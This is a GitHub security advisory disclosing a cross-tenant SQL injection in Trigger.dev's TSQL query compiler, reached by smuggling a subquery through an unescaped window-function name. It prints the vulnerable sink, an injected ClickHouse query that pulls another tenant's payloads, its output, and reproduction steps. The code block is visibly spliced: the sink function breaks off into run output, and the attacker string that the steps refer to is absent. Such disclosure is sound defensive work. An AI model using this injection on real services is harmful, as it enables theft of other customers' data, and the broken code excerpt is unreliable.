GitHub Advisoryadvisory · npm
GHSA-9q4r-4842-93vw Trigger.dev: Cross-tenant SQL injection in the TSQL query compiler (POST /api/v1/query) via unsanitized window-function name
HIGH
Official page ↗
- Ecosystem
- npm
- Packages
- trigger.dev
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
- Weaknesses
- CWE-639, CWE-89
- Reviewed
- 2026-10-02
Affected packages
• npm trigger.dev: < 4.5.6 → fixed in 4.5.6
Description
Summary
A cross-tenant SQL injection in the TSQL query compiler lets any authenticated trigger.dev customer read every other tenant's analytics data. The customer-facing query endpoint `POST /api/v1/query` accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by `internal-packages/tsql`. The compiler parameterizes or escapes all user input and injects a per-tenant `WHERE` guard — except the window-function name, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. `(SELECT ... FROM task_runs_v2 WHERE organization_id = 'org_VICTIM')`) that sits outside the tenant guard, exfiltrating another organization's rows. Verified end-to-end against the real compiler and a live ClickHouse.
Details
Vulnerable sink — `internal-packages/tsql/src/query/printer.ts:3073-3075`, `ClickHousePrinter.visitWindowFunction`:
```ts
private visitWindowFunction(node: WindowFunction): string {
const args = node.args ? node.args.map((a) => this.visit(a)) : [];
const funcCall = `${node.name}(${args.join(", ")})`; // payload 'tenant1-public-data' (attacker's own org)
org_OTHER_TENANT -> 'VICTIM-SECRET-stripe_sk_live_DEADBEEF',
'VICTIM-SECRET-db_password_hunter2' (victim)
Baseline (legitimate tenant1 query, guard = org_tenant1):
-> 'tenant1-public-data' (only own data)
Exploit (injected subquery, guard STILL org_tenant1):
SELECT 1 AS keep,
(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen,
count() OVER () AS w
FROM trigger_dev.task_runs_v2 AS task_runs
WHERE and(equals(task_runs.organization_id, 'org_tenant1'), ...)
-> stolen = ['VICTIM-SECRET-stripe_sk_live_DEADBEEF','VICTIM-SECRET-db_password_hunter2']
```
A caller scoped to `org_tenant1` exfiltrated `org_OTHER_TENANT`'s secret payloads — cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse.
Reproduce the compiler step with a vitest in `internal-packages/tsql` (mirrors the repo's `src/query/security.test.ts` tenant setup): compile the attacker string above with `enforcedWhereClause` set to `org_tenant1` and assert the output contains `(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT')`. Then run that SQL against a ClickHouse seeded as above.
Related
References
- https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-9q4r-4842-93vw web
- https://github.com/triggerdotdev/trigger.dev/pull/4316 web
- https://github.com/triggerdotdev/trigger.dev/commit/6997aeb05e27d2db47f9eda01fdc8a17c81a1ae0 web
- https://github.com/triggerdotdev/trigger.dev package
- https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.6 web